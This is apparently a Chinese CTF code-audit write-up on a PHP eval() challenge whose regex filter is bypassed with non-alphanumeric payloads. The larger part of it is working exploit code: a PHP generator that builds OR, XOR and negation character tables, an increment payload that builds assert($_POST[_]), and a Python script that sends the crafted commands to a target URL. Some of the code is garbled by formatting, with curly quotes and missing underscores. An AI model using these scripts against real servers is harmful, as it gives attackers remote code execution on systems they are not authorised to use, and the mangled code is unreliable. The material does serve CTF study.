代码审计
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这里没有过滤
|
可以利用|
构造出无字母数字命令,这里具体原理不再班门弄斧了,看一下参考文章- 这里整理了一份通用脚本,包含了异或,或,取反,自增,先利用
php
将ascii为0-255的字符中,找到能得到我们可用的字符的字符,并生成在rec.txt
。
```php <?php从字符中过滤被正则过滤的字符,生成能够被我们用的字符串,搭配rec_bypass_exp使用
//或 function orRce($par1, $par2){ $result = (urldecode($par1)|urldecode($par2)); return $result; }
//异或 function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result; }
//取反 function negateRce(){ fwrite(STDOUT,’[+]your function: ‘);
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//自增 //测试发现7.0.12以上版本不可使用 //使用时需要url编码下 //$=[];$=@”$“;$=$[‘!’==’@’];$__=$;$__=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$_.=$;$=$_;$++;$++;$++;$++;$_.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$__=’‘;$__=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$__.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$__.=$;$__=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$__.=$;$=$_;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$__.=$;$=$$__;$($[]); //固定格式 构造出来的 assert($POST[]); //然后post传入 _=phpinfo();
//mode=1代表或,2代表异或,3代表取反 //取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式 function generate($mode, $preg=’/[0-9]/i’){ if ($mode!=3){ $myfile = fopen(“rce.txt”, “w”); $contents = “”;
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
} //自行更改模式 更改正则匹配 generate(1,’/[0-9]|[a-z]|\^|+|~|\$|[|]|{|}|\&|-/i’);
4. 访问`php`脚本,会生成我们构造好的可见字符字典,再利用`exp`脚本,需要根据实际情况改一下路径和url
```python
# -*- coding: utf-8 -*-
'''
@Time : 2021/7/7 11:00
@Author : Seals6
@File : rec_bypass_exp.py
@blog: seals6.github.io
-*- 功能说明 -*-
-*- 更新说明 -*-
'''
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
#路径自行修改
f = open("rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
#切换输出异或还是或
# output = "(\"" + s1 + "\"^\"" + s2 + "\")"
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
#根据实际情况构造
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)
#requests库请求网址,自行决定
url=""
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
- 运行输入命令,因为是
POST
,提交需要url编码
,最好利用requests
库进行请求,get
可以输出进行手工提交
参考文章:
P神-一些不包含数字和字母的webshell
羽师傅-无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)